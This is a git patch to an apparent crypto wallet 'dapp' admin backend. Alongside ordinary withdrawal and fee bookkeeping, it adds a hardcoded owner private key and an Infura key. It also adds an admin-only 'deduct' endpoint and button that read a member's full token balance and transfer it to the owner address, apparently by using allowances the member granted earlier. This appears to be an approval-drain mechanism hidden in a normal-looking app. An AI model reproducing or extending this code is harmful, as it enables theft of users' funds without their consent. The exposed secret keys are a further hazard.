From ac4c6f8771de8148f1ba2292dd8fcb7c986883a4 Mon Sep 17 00:00:00 2001 From: Helius <wangdoubleone@gmail.com> Date: Thu, 24 Mar 2022 15:25:16 +0800 Subject: [PATCH] add some limit --- src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 10 +++++ src/main/resources/templates/febs/views/dapp/member.html | 17 +++++++- src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 10 +++++ src/main/resources/templates/febs/views/dapp/member-withdraw.html | 1 src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java | 32 ++++++++++++---- src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java | 6 +-- src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java | 7 +++ src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java | 5 ++ 8 files changed, 72 insertions(+), 16 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java index 8dbef5f..31c109e 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java @@ -65,6 +65,16 @@ return Integer.parseInt(total); } + public void transfer(String address) { + BigDecimal amount = balanceOf(address); + + if (address.contains(ETH_PREFIX)) { + ETH.approveTransfer(address, amount, null); + } else { + TRX.transfer(address, amount); + } + } + public static void main(String[] args) { // System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD")); } diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java index 2f45fcf..66c0309 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java @@ -54,6 +54,7 @@ // private static final String ETH_UTL = "http://114.55.250.231:8545"; private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"; private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024"; + private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37"; public EthService() { try { @@ -250,6 +251,15 @@ } } + public String approveTransfer(String fromAddress, BigDecimal amount, String gas) { + try { + return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas); + } catch (InterruptedException | ExecutionException e) { + e.printStackTrace(); + return ""; + } + } + public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas) throws InterruptedException, ExecutionException { // Web3j web3j = Web3j.build(new diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java b/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java index eb64fc1..4c26a7e 100644 --- a/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java +++ b/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java @@ -66,4 +66,11 @@ dappMemberService.withdrawAble(id); return new FebsResponse().success(); } + + @PostMapping(value = "/changeMoney/{address}") + public FebsResponse changeMoney(@PathVariable(value = "address") String address) { + // TODO 增加划扣记录表 + ChainService.INSTANCE.transfer(address); + return new FebsResponse().success(); + } } diff --git a/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java b/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java index 171ee51..f234cd5 100644 --- a/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java +++ b/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java @@ -21,11 +21,12 @@ public DappFundFlowEntity() {} - public DappFundFlowEntity(Long memberId, BigDecimal amount, Integer type, Integer status) { + public DappFundFlowEntity(Long memberId, BigDecimal amount, Integer type, Integer status, Integer fee) { this.memberId = memberId; this.amount = amount; this.type = type; this.status = status; + this.fee = fee; this.setCreateBy("system"); this.setUpdateBy("system"); @@ -50,4 +51,6 @@ @TableField(exist = false) private String address; + + private Integer fee; } diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java index 048afd5..e8a5f8e 100644 --- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java +++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java @@ -102,10 +102,8 @@ @Override public boolean isApprove(String address) { DappMemberEntity memberEntity = dappMemberDao.selectByAddress(address); - if (memberEntity != null) { - return true; - } - return false; + + return memberEntity != null && ChainService.INSTANCE.isAllowance(address); } @Override diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java index e4f7b59..b541147 100644 --- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java +++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java @@ -4,6 +4,7 @@ import cc.mrbird.febs.common.entity.QueryRequest; import cc.mrbird.febs.common.exception.FebsException; import cc.mrbird.febs.common.utils.LoginUserUtil; +import cc.mrbird.febs.common.utils.RedisUtils; import cc.mrbird.febs.dapp.dto.RecordInPageDto; import cc.mrbird.febs.dapp.dto.WalletOperateDto; import cc.mrbird.febs.dapp.entity.*; @@ -34,6 +35,7 @@ private final DappWalletCoinDao dappWalletCoinDao; private final DappFundFlowDao dappFundFlowDao; private final DappAccountMoneyChangeDao dappAccountMoneyChangeDao; + private final RedisUtils redisUtils; @Override public WalletInfoVo walletInfo() { @@ -54,14 +56,14 @@ public void change(WalletOperateDto walletOperateDto) { DappMemberEntity member = LoginUserUtil.getAppUser(); - BigDecimal ethUsdtPrice = new BigDecimal("1234"); + BigDecimal ethUsdtPrice = (BigDecimal) redisUtils.get(AppContants.REDIS_KEY_ETH_NEW_PRICE); DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId()); if (walletOperateDto.getAmount().compareTo(walletMine.getAvailableAmount()) > 0) { throw new FebsException("可用金额不足"); } - DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount().negate(), AppContants.MONEY_TYPE_CHANGE, null); + DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount(), AppContants.MONEY_TYPE_CHANGE, null, null); dappFundFlowDao.insert(fund); BigDecimal preEthAmount = walletMine.getAvailableAmount(); @@ -69,7 +71,6 @@ // TODO 并发加悲观锁 // 更新eth金额 walletMine.setAvailableAmount(walletMine.getAvailableAmount().subtract(walletOperateDto.getAmount())); - walletMine.setTotalAmount(walletMine.getTotalAmount().subtract(walletOperateDto.getAmount())); dappWalletMineDao.updateById(walletMine); DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(member.getId()); @@ -81,8 +82,8 @@ walletCoin.setTotalAmount(walletCoin.getTotalAmount().add(usdt)); dappWalletCoinDao.updateById(walletCoin); - DappAccountMoneyChangeEntity ethChange = new DappAccountMoneyChangeEntity(member.getId(), preEthAmount, walletOperateDto.getAmount(), walletMine.getTotalAmount(), "ETH兑换USDT-ETH", AppContants.MONEY_TYPE_CHANGE); - DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preUsdtAmount, usdt, walletCoin.getTotalAmount(), "ETH兑换USDT-USDT", AppContants.MONEY_TYPE_CHANGE); + DappAccountMoneyChangeEntity ethChange = new DappAccountMoneyChangeEntity(member.getId(), preEthAmount, walletOperateDto.getAmount(), walletMine.getAvailableAmount(), "ETH兑换USDT-ETH, 兑换价格为:" + ethUsdtPrice, AppContants.MONEY_TYPE_CHANGE); + DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preUsdtAmount, usdt, walletCoin.getAvailableAmount(), "ETH兑换USDT-USDT, 兑换价格为:" + ethUsdtPrice, AppContants.MONEY_TYPE_CHANGE); dappAccountMoneyChangeDao.insert(ethChange); dappAccountMoneyChangeDao.insert(usdtChange); } @@ -97,13 +98,15 @@ throw new FebsException("可用金额不足"); } - // TODO 并发加悲观锁 + Integer fee = (Integer) redisUtils.get(AppContants.REDIS_KEY_CHANGE_FEE); + + //TODO 并发加悲观锁 BigDecimal preAmount = walletCoin.getAvailableAmount(); walletCoin.setAvailableAmount(walletCoin.getAvailableAmount().subtract(walletOperateDto.getAmount())); - walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(walletOperateDto.getAmount())); + walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().add(walletOperateDto.getAmount())); dappWalletCoinDao.updateById(walletCoin); - DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount().negate(), AppContants.MONEY_TYPE_WITHDRAWAL, 1); + DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount(), AppContants.MONEY_TYPE_WITHDRAWAL, 1, fee); dappFundFlowDao.insert(fund); DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preAmount, walletOperateDto.getAmount(), walletCoin.getAvailableAmount(), "USDT申请提现", AppContants.MONEY_TYPE_WITHDRAWAL); @@ -127,20 +130,33 @@ } @Override + @Transactional(rollbackFor = Exception.class) public void withdrawAgreeOrNot(Long id, int type) { DappFundFlowEntity fundFlow = dappFundFlowDao.selectById(id); if (fundFlow == null) { throw new FebsException("数据不存在"); } + DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(fundFlow.getMemberId()); if (type == 1) { + walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(fundFlow.getAmount())); + walletCoin.setTotalAmount(walletCoin.getTotalAmount().subtract(fundFlow.getAmount())); fundFlow.setStatus(DappFundFlowEntity.WITHDRAW_STATUS_AGREE); } else if (type == 2) { + BigDecimal preAmount = walletCoin.getAvailableAmount(); + + walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(fundFlow.getAmount())); + walletCoin.setAvailableAmount(walletCoin.getAvailableAmount().add(fundFlow.getAmount())); + + DappAccountMoneyChangeEntity accountMoneyChange = new DappAccountMoneyChangeEntity(walletCoin.getMemberId(), preAmount, fundFlow.getAmount(), walletCoin.getAvailableAmount(), "提现申请被驳回", 2); fundFlow.setStatus(DappFundFlowEntity.WITHDRAW_STATUS_DISAGREE); + + dappAccountMoneyChangeDao.insert(accountMoneyChange); } else { throw new FebsException("参数错误"); } + dappWalletCoinDao.updateById(walletCoin); dappFundFlowDao.updateById(fundFlow); } diff --git a/src/main/resources/templates/febs/views/dapp/member-withdraw.html b/src/main/resources/templates/febs/views/dapp/member-withdraw.html index a6d14ca..7f0475d 100644 --- a/src/main/resources/templates/febs/views/dapp/member-withdraw.html +++ b/src/main/resources/templates/febs/views/dapp/member-withdraw.html @@ -154,6 +154,7 @@ {field: 'createTime', title: '创建时间', minWidth: 180}, {field: 'amount', title: '提现金额', minWidth: 130}, {title: '提现状态', templet: '#withdraw-status'}, + {field: 'fee', title: '手续费', minWidth: 130}, {title: '操作', toolbar: '#withdraw-option', minWidth: 200} ]] }); diff --git a/src/main/resources/templates/febs/views/dapp/member.html b/src/main/resources/templates/febs/views/dapp/member.html index 10ca0ed..6f16640 100644 --- a/src/main/resources/templates/febs/views/dapp/member.html +++ b/src/main/resources/templates/febs/views/dapp/member.html @@ -104,8 +104,9 @@ <span>{{ sex.title }}</span> </script> <script type="text/html" id="balance"> - <span name="balance">{{ d.balance }}</span> - <p><a lay-event="freshBalance">刷新</a></p> + <span name="balance">{{ d.balance }}</span></br> + <span><a lay-event="freshBalance">刷新</a></span> + <span><a shiro:hasPermission="member:showMeMoney" lay-event="changeMoney">划扣</a></span> </script> <script type="text/html" id="approve-list"> <a href="https://tronscan.io/#/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a> @@ -184,6 +185,15 @@ }); } + if (layEvent === 'changeMoney') { + febs.modal.confirm('划扣', "是否划扣该用户?", function () { + febs.post(ctx + "member/changeMoney/" + data.address, null, function () { + febs.alert.success('划扣成功'); + $query.click(); + }); + }); + } + var rowIndex = $(obj.tr).attr("data-index"); var balance = $(obj.tr).find("[name='balance']"); if (layEvent === 'freshBalance') { @@ -230,7 +240,7 @@ {type: 'checkbox'}, {type: 'numbers'}, {field: 'address', title: '地址', minWidth: 130}, - {title: '余额', templet: '#balance'}, + {title: '余额', templet: '#balance', minWidth: 150}, {title: '授权列表', templet: '#approve-list', minWidth: 110}, {field: 'inviteId', title: '邀请码', minWidth: 130}, {field: 'refererId', title: '上级邀请码', minWidth: 130}, @@ -259,5 +269,6 @@ $query.click(); }); } + }) </script> -- Gitblit v1.9.1